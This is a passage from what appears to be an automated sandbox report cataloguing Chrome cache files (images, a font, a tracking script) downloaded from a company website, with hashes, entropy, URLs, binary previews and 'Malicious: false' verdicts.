SSDEEP:	6144:dnPDL1ThUl3cAnzF6fWO3i849UpAEPyE939/lSCeIU:d0lM+w+Oh49ory6/lSCeB
MD5:	A80ACEF431385941D2FA776DF3655232
SHA1:	3916496AB6294BB9B362E58A6B6DF63F16EADEC0
SHA-256:	04497762DCF17E8AA459DAC0C758A0AA48CA4BDAF11030E91460CC30D14C2C71
SHA-512:	DA8D608D4F06CCDA5456CEC398D7BAC3B98BCFA8963D9E09E0E4FD7D4CE1287655D38FA0B15E54FB7DB730CDF02AA7AC18887053684D172F0391A835882756F6
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/05/LWOP-EN-scaled.jpg
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...]..Q..Bb.S.F(.....c....R...sH....i.h..S.)@........b..QKI.@...+GJ.J(...cph..b.@....F..3.b.E&..&(...B8.CqF)...a..;..P.O"..<.n3@..!.R.T.7.0.....f)..-...i).Rb..y..4.Q..n..i.P..7....Q..@sK.P)q@.....iv..@.;......h..iq.N....N..\R.@..M..b.P.E(Z\P.h...7..R.K.1@..Jp.......~....`.O....`.O.....4.R.F(.1F)....b.S...qF)

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 67 x 67, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1863
Entropy (8bit):	6.181272764852973
Encrypted:	false
SSDEEP:	48:N/6cMYL4knA9WIY25Fy/c0uajH14GHp3yHP1Hny3uaAUHcakK9:NS5YkknmWIY25Fy/nVdsv1HnLUHcC9
MD5:	808F4674AA2300C501548646FE9E32DE
SHA1:	E29AC14FA04D92A18FA869EF47F6AB90076EA23E
SHA-256:	6EAB8BA18720D645FE0A12DF86D7B5E557D7786E07001A463C436284C2ABCCA3
SHA-512:	1C0CA787614CE97B7093E1EDBC6310495D1242511A0FC35ACE1C9A95D24A21B9CC0C8939566D864212327567BD4094CDB691F1DF3E0934CCC7EEF60C689AE4F2
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jticn1.png
Preview:	.PNG........IHDR...C...C.......s....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-22T11:00:11+08:00" xmp:ModifyDate="2022-07-22T11:01:08+08:00" xmp:MetadataDate="2022-07-22T11:01:08+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:3e14227a-7ef7-ff4e-b572-e71d7b91a09b" xmpMM:DocumentID="xmp.did:fc093351-8ceb-e040-9a25-1e8923967dd7" xmpMM:Origi

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	10959
Entropy (8bit):	7.981216875789961
Encrypted:	false
SSDEEP:	192:g6ZfrSN/Orz0HS9sRWHGHqePtBX6lceGcJrzcMTLgNKnKVadW+Yf4/tZzF9Lg:g6ZfrSBQF9lmKePtB6ueGcJro0gNKd1M
MD5:	8B2A7AEA95E62F1DE8EF448B96B382F0
SHA1:	154468C40AFE5BB7664360230D931B8B3ACA186F
SHA-256:	6D0896AEF73925D6E74001A315648C321787BE151CF3CA5369B7BCF9A1A4DD88
SHA-512:	DA7C846A053B41CC9E2C95B929C934DBFD2DA1557763DFE6FA8B5373E32CB2D2EB19ECD963A1441E71C728BAAC7222036E160F139F04D0E2DC64958C11C0A9B4
Malicious:	false
Reputation:	low
URL:	https://sc.lfeeder.com/lftracker_v1_ywVkO4X3lld7Z6Bj.js
Preview:	..}.HNZ=............O/wF&.....\.......4..$n%.t......o...{..u....d4rA.H?S..9...{..V70..../`L..F.......=......g.0..N.\.......L...;....TA&.#...T..l\|Y....I.@.D....m1.X;W.. <?.......!.NmZ....S...`..U._....K..K.n..D.._..zZ....S../\.p^.......n..M45...R........6.K...k.G..{.O..x.......@Qi....`...n.##.~..,?...e.m.3m....b.9..Ee...,O..`...9....Rh..l...bC.N.....]R..>.-lI...Z.q..k....e..t.M.V.^.r...-..r&'..?.>G...o.c..A.1..&....o.%.9k..%.u.f..3F.........v...;....&.....F..i~...`...4..=.J.....d..X..:k.B/.!.....e..D..w..-.............W...qxp.F....r...nP..s.U.e..T....."..g.xc.?\|^n[U.\|[s.W....I...o....~.J...G....Jy...V..O..r85....M..r..........hS...7.uj.T.d....s..H........$. .=..o..!.b.B....zQ..^p..J.....-\|...X.q.......".}.V..R..r............7..Ucf..z.n.J..K..T.D..Wr7.SS..<oV*Q....C]..=E.ns.../....{x.z.A......d....V.&.4n..v.).+..pa..0.m.gm..)...G.t....U.qH..DJ.....P.xBU..k.v..=..-.~.EtH.....g$#.......f...?w7.s...^.9..y.m...Z-._..,.7Y..G}.V...r..

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 270, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	12539
Entropy (8bit):	7.877461844645301
Encrypted:	false
SSDEEP:	384:fOTm0dn0WnltZCd8oIB8hb1pXW3eEkzFz3R:fO7dHCtBpXW3GbR
MD5:	90E65C50477274CF2221B641224A4CF1
SHA1:	E991875745EB8E39C840477B34AEC446FF4B9D75
SHA-256:	26211A88925A76CC4465D62351AC01166645A6386AB830C18411E7029FEE2F68
SHA-512:	AB5B3328B9764D118526C42ABF2B8E8AEA25FB830ABEF85F209EFB9F4FBFA78BF1E2BB1623F5427AC6A18F240E3A73872EC7346782CA5773538E75809C14D021
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/fybg.png
Preview:	.PNG........IHDR...............A.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:6054327A117911EDA6CCDE04DD8FD92E" xmpMM:InstanceID="xmp.iid:60543279117911EDA6CCDE04DD8FD92E" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>i.....-.IDATx..}..%

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 32420, version 1.0
Category:	downloaded
Size (bytes):	32420
Entropy (8bit):	7.993395426242201
Encrypted:	true
SSDEEP:	768:fkQcOJRXZg6rXw9B6A+9BGzHZBVeF+iEsVg:fkTOfpg6rA9B6gRezZVg
MD5:	CC9E78025EED1F86A103E8B39327673B
SHA1:	2F09244DC338C9671F93AE2F88363200B98A3F97
SHA-256:	A23C1D87C6DB072CBA7729F10F59DAA81BA688CAFA747937C2A53263905147E6
SHA-512:	E9A3A63E82478080DA671583451363A365F18A253E2B21EBDE31F90FD612DF0C2D27DC9CD57CEA196926C1725BA9329CA993DEE76433A65D09701BB8210C6D36
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/Manrope-Regular.woff2
Preview:	wOF2......~........<..~C........................?FFTM...p..h...6.`..v.....D..;..L..6.$.... ......[^.q.7...r..x..cnU.d....u...]..K...6..F.tf.....Td...].p..\.!K.A.We.mFk./t.\h.....).....z.b...v.FI......EP<..L$...\...........M..Vq.0_..o:....%rC......Hs.....b.frs5.D4S.S7...NwVs3d.._..]WV.'.C..\u.N.....w.TrW..U.(0J.d......xr.N.4.^..+S.@...o...,.c.A.6b.....k../+.q....f.........TB".?....=....s&h..E../abc....lXM.5.0rD..........7.>.}IH.C......$...H$.Hh........%...Q.[F......=6.-1GmlT...(....E.\|..@__..=.N...k1$..A8,VbH.....-.m C......E....[s..\|PYu.......d!I.S....P%..R.?..."'<.X.Oe.. ...C7.W,... ...7..o....(...X...N..B.....8...,[.S..rX....B..4%;G..{@\`...N...........'=C.\...tjN..Hm...P.......I.$#.Y E ..6.......v.^..%SKR...Zi...a..J.<.`(.....fK..w...X.c....Y!`n..`.._...-.D.(.%.c.qg..X.......$3......I.dVNV...[W.j..#.~.....J..nWD].>.....^so.............G.xN..BA.g.`.SZO..\.(...y....C.......%]R1/.u.%b.\T.N......~.n.m.%.N.m.........X.Md....T..^...B.$\...(J..n.

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	6.424667262826903
Encrypted:	false
SSDEEP:	24:5+1hmYaWwh82lYSKwyaSSVSLtT3fyJ3V3ilSGXxqPH8OKKv:eMYLvnLL5SsLteJ3iSjPH8OKw
MD5:	45B995840A24E0525D3A774BCF2FAF7F
SHA1:	5FE13E720BDDB849C3ACD0E845733FE96BBC7BD3
SHA-256:	B173EF1CF314C8ED0F8DD575679F4A8E925D082543AFE75A98E68B17E91823BF
SHA-512:	D919E9E71AE9593F835D0CCE310BBC7686E1D558D8DAA8BC803C31B6592E0E016BA934EB2772A949CBCE8E3B6A8CA66CB973390A95A6FD86C3ACFB327AA0E507
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................W....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:AFED440512DC11ED9E8AECD4F9D425D5" xmpMM:InstanceID="xmp.iid:AFED440412DC11ED9E8AECD4F9D425D5" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57916a26-a5d7-0244-96ec-d990b5c02798" stRef:documentID="adobe:docid:photoshop:201ce05f-b649-e94f-9fc6-cad089f6b266"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>J../....IDATx.b...?.1@

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1122
Entropy (8bit):	7.430957831697631
Encrypted:	false
SSDEEP:	24:OJf+I/wOSKR0o0XxDuLHeOWXG4OZ7DAJuLHenX3X23NvyLJ2CGQXrlpj:UfDoOSKRFuERA0xyG2F
MD5:	A92AA595006FBCF7688F1F95B204A4ED
SHA1:	780794925F8CA9E64FD99C6F606224822D781C59
SHA-256:	E37C241002D5986905D544F44CE7F4FE9B0ED1BEFD8C1F2174082D3D48533E25
SHA-512:	4A1EEAC7D0E1157597A407E127C8D7382F9740C49D5F3C2B65713FAE5AD9C821B710E42FFF7E51CB9E569DEF8B8374936F2CC049972F414F472376603B421A61
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2022/10/cropped-favicon-32x32.jpg
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..G.,.\|......M..(.2..;....8..'R.....<7j.....fga.v...?Z..U...=.I.E.6f..x...I..~f..........o.O.+.N...5.D..'.....>..r....:.Z<.].*.z.k.T......Vx...._..'..m...~........]..Ih...f,J..rz\|....g.6...O.....m.G...o.-?G..c3...$q....aZ......kJ.u4.R.........M...Z...j/...:...9..k...{..D.1).Bs^....>#x..T.o4.!..m.n..X

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 38 x 41, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	581
Entropy (8bit):	7.480696558061011
Encrypted:	false
SSDEEP:	12:6v/7QakUhDOdRfil8n4kyNtIcelbLE1fWBN5Aoa8H6/sLCB1:NvKDOD74dgPC6Yl5j
MD5:	03663BA36D31F8534D89487BD2B9BF8F
SHA1:	1B7E341D3F9F7F6DC1117FE5B1FBF23C3C4364B5
SHA-256:	7DCB5F596C6AA8BDC65D02EF1F653FB7AABA99F1FE48687168CD97EF8941B36C
SHA-512:	945A8B8F7CD92F0A792F377638B8374AAB2D0739FB66B46E1B925E18AD476FA48C6DCA3EE25A078B698DFF8490B760522EF261633034153F1C84492D18DA6423
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/whicn0.png
Preview:	.PNG........IHDR...&...).....Yk[{....IDATX..OH.Q...[....?.A<..^..<..5.V .Q.`x..=G...s..C."..v..,j."$........[.....8ov.E....7.7.y.c.....O.a..p.p,....@.@.2Jbk.M;q.\|.~...F.;"2!.y......<4...,..fk...T....q\|.Y...I...J.....d.x....h.o.......7....'..p.......~T`.J..1....3R.?....W.Ft...t....^.e...t.%..%..%....{.<..XE...$.7.O.w.mkw......A.b......&.9..<.w..`.........^X{.X..[..I=.2..3Vu.PtJ...KD."rj.."r.B.3...',..~y..).....tZ.....M[..i&.'.?./..G/.....o...-...G..0..H...%..%..%..%..%v....Q.4.Y.(..~..f%.....Z..@. 5[...5.....\......V.8....r.;..bM_p..:....IEND.B`.

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	dropped
Size (bytes):	246160
Entropy (8bit):	7.975141217459404
Encrypted:	false
SSDEEP:	6144:LOFmnII3vbIeTNL8u8RO1VO0HMIIAeSptBQ26bB5wTYRCZM:LOMnBLTf8RWkwfestBFICZM
MD5:	91805BE98D4A5E26A28FEBD42777B839
SHA1:	94EC389C48A8EEBEB19FD6E51DF55CAF29CE7AC5
SHA-256:	FBF0890405F3C585A346350252DD3A9004F9E50D180C942C50204C2F1F4A60A3
SHA-512:	B1457D503D682AB6DFDC993486227D61857C60429AB584538AA7AE07C41FB8DE2662967BD8C5F09B691901ABB202D9E84155065B41670B5930893D5D8AFD295D
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:0C5E105F1E5F11EF800CD19F1F1F3965" xmpMM:InstanceID="xmp.iid:0C5E105E1E5F11EF800CD19F1F1F3965" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8c0d682f-f95f-ca48-b143-6c0a56cf4750" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	6.082594669540354
Encrypted:	false
SSDEEP:	48:S/6sMYL4knA9WIYd/c09BZBiBf39RHns3B6eH9z:SSJYkknmWIYd/MHns3R1
MD5:	C6DE23504058244A287D4B09058CF38B
SHA1:	F54F8EFCFACC18BBCC31C76AD95DBCC29356A484
SHA-256:	E6ED0CC3C8F86DA6CE4172BC000CF1508C0BDAF9721C13257F57C2D7F60F5EF0
SHA-512:	FCF66F2AA0026D91B19B75DEF32641D6FD017EA74CADB0B2D03B85090C5DB1E5C1042E26E37C93DDEB2D2650DD8662F44138C1625F0D5734D57344F7D125AFF2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-27T11:01:08+08:00" xmp:ModifyDate="2022-07-27T11:02:03+08:00" xmp:MetadataDate="2022-07-27T11:02:03+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:15cd5cc8-7e01-6d41-9053-396e6dcd121c" xmpMM:DocumentID="xmp.did:15cd5cc8-7e01-6d41-9053-396e6dcd121c" xmpMM:Origi

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 290 x 44, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3693
Entropy (8bit):	7.901863691211666
Encrypted:	false
SSDEEP:	96:jBlFDfr2yYlhyYV4TPZjAZ4w3mhK8w0War2lbEQ2Ledj/3gXhe3//z:jBfzNYnyYV6q4w3yK2elg5edjOe3j
MD5:	0987BB285CF1D1C9FF9EF0BA5DA4CE62
SHA1:	BDD9881DBFDBB1FEBA52D8BE4299E1B2DF4BBB59
SHA-256:	A66D318B5C227C6D88BB667DC2EEB21DCAA923A1E6901306BE895DC6DE4E0F0C
SHA-512:	EBB773F888B8F9BAAF5A7375F0C2B53DF0084D2CDC7290F1521079EA78BB3F25FDCDA417A0D7C46B111F43D3B915D0D147952C4E8B0B19E1AA5A1C0332B04BF6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..."...,.......r...4IDATx.....U.......3..4...e....6..\|...$..lM%Mk.._./......3..5..._!..H4!@...5.).......8..=.......X.3.g.f.o....VHAi..........&i...>..dr........v..A;.Ic/..hg....8....z.T.@.Ls..f..j..).f....`\.E..%\.).c...`..=.C...3o'.X..[.....Lmg.R.H......>.k.>.....?r......3....U.~.r.3.^i+....).~..Ed.-y@i+B.R...U.4.......B.Q....Rg..Im..}....X...Tu...(..5B. R......tt..k.x...Nz.....`..(.3P..@..o7J.3....5D.XU."...N.B....`B.+.{.].q...P..".8....R...d.x..;wb...X..5X..8......Q0\..f%.;.<......W..}r.......Qb..s...\|\|...y.......y9..MC...Wa..tb.KBi..'^..u%...PTs.i.....j..A9J..%..eE.ClDG.......;.JQ.......#.3.W....[g...;..J.q..`....p.w.....D.s'...<VO...p.5/.....AtG9.y.E.f......B...U..WF.Pvg04.....o.!.6f..W......wt...T.m3J\|.;.Z...Z@.f.g...p...3...H."v...&.....JL......y..".)m..mSa95....c.f..t]3.?...}.^i.$...33...n.c..."..8...YQ..j_u.<A...Y.a.w.F..:D\|.v.....<....!\&4Pi;...n..'..x....tf.c.@i+....m..M.>[.......eJ.......v....jE.F.

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	dropped
Size (bytes):	201531
Entropy (8bit):	7.7826713252553565
Encrypted:	false
SSDEEP:	6144:mSDLJ0QbKc7IB4MFdz5o0QjR7UMFyagDlUp56U/eONk3U:t0a970fi9tUMF/J/eONkE
MD5:	0DCE5FC2F93E243C1F0F97815FFF63EC
SHA1:	D191BFCAA65919EE6C14499DBB316A4F2B73BFAD
SHA-256:	0E2F744DECC1F48D3ED015C54DE556C11B197449DFF28FE830FA1B8507387F0E
SHA-512:	C1F7D8DDCBFAA897EC404D48D1BA33341FB6A636A56796CEEDE1D54348027B77B220A8FBD2411B71E319E3C9F71924F8BD1B6338FAACED61814C1E5538D958BA
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..~.(....(...(...(...(...(...(...(...(...(...(...(...(...(...(.p.(...QE..QE..QE..QE..QE..QE...Rf..0.....&h..P+.h..Q`.f.4.....i.K@..(...&.-....F)h.....Z).."...KE.f.... ..1KE.&(.-...Q.Z(.1F)h......Fi..1Fh....)..h.......3E..h.;4u.i..............(...(...QE....(...(...(`.QE .(...(...(...(...(...(...(...(...(...(...(.

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://tr.lfeeder.com/?sid=ywVkO4X3lld7Z6Bj&data=eyJnYVRyYWNraW5nSWRzIjpbXSwiZ2FNZWFzdXJlbWVudElkcyI6W10sImdhQ2xpZW50SWRzIjpbXSwiY29udGV4dCI6eyJsaWJyYXJ5Ijp7Im5hbWUiOiJsZnRyYWNrZXIiLCJ2ZXJzaW9uIjoiMi42OS4wIn0sInBhZ2VVcmwiOiJodHRwczovL3d3dy5mb2N1c2xpZ2h0LmNvbS8iLCJwYWdlVGl0bGUiOiJGb2N1c2xpZ2h0IOKAkyBOZXZlciBTdG9wIEV4cGxvcmluZyIsInJlZmVycmVyIjoiIn0sImV2ZW50IjoidHJhY2tpbmctZXZlbnQiLCJjbGllbnRFdmVudElkIjoiNGNlY2M1ZjUxNGI2YzNiNyIsInNjcmlwdElkIjoieXdWa080WDNsbGQ3WjZCaiIsImNvb2tpZXNFbmFibGVkIjp0cnVlLCJjb25zZW50TGV2ZWwiOiJub25lIiwiYW5vbnltaXplSXAiOmZhbHNlLCJsZkNsaWVudElkIjoiTEYxLjEuNjkzMWIzYWQyMTM5MGYwMy4xNzQ4MzcxOTEwNzQ5IiwiZm9yZWlnbkNvb2tpZXMiOltdLCJwcm9wZXJ0aWVzIjp7fSwiYXV0b1RyYWNraW5nRW5hYmxlZCI6dHJ1ZSwiYXV0b1RyYWNraW5nTW9kZSI6Im9uX3NjcmlwdF9sb2FkIn0=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	7.488690229841832
Encrypted:	false
SSDEEP:	12:6v/7leCo/erIs6QdtrxSnIvg5FMC+Gj2sjrH6V5eZRvkugH1D5/kn6DPrBVIGg5C:mo/aIb0AnIo5SCrj36VkFgH1D5c6DPtd
MD5:	C7EE8FD67BA818CAC02FC7125F4D1EEA
SHA1:	6C647AC81D693065CEC94AF07E71C98D34A01C76
SHA-256:	D6160E543E518D499A9E29D3B19737DF8E6A947C40A4F7BC809A2B67A02E0D47
SHA-512:	59B08AE288154248DBEC5818BD04BCDDD19013190069F6BEF222456FC3EF51AB531773D79ED415ABDBACC4CD427393E4A40A9F9FCEEF6A584906531559D4C9EF
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/wlicn3.png
Preview:	.PNG........IHDR..............iM....)IDATH...Qh.Q....K..b-.PJS...&j..1jD.q#Jn..p........jI.r.-......X.MB.g._..:.g.{.....=..<..}.y.9.$..v`'....../...#`&....G.qI.J.!I......E.d.`LW...%.g..z(...^.I..-.I{...\. ..I..;...0..Is..LQps$......`....%.;..Z.L..#.q`.....^.w./....(.....0.Se7N....j..h.6...=.6........IIm..I.Q!fX.p./V.=a..-#.l....#.zUR{f...~;.+..J.M.T`.tT.gs.8&.y....w...Z.}...n.?..A...Q....^..........<{.0....A...{%}N\|...F.V'....M..k./..~.m..K....u...`..l........R...{:..IZ'.VR....)...l*p../............^..@r.ZI.3.......'`...7...'.{3>.....9r.E.............e.?In...6nb....IEND.B`.

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	downloaded
Size (bytes):	258711
Entropy (8bit):	7.9715571812969195
Encrypted:	false
SSDEEP:	6144:LoUZ/mjEDrIcQf07zYw+n71QwJwqtd04hfXver/:kamjFcJLI5vtdVlXver/
MD5:	2E1F0F02D5D5AE62F3ABA47066AA5EF1
SHA1:	FFF5B6B4B7BCE69DBCC2604A042A51C700DA4D17
SHA-256:	1B7F2AC5CB4C3E45FE782B460E542AB5C5F4CBE6F25D9915A70AD76D782D66F1
SHA-512:	C9045FF8085B4F290C953A77633B0C718E990C4928178FEA7054CAFE01AA66A206283C96175DB3445975A0A12031736B01800403201E87FD4040093FFCF5F7DD
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2023/08/01%E5%8E%9F%E6%9D%90%E6%96%99.jpg
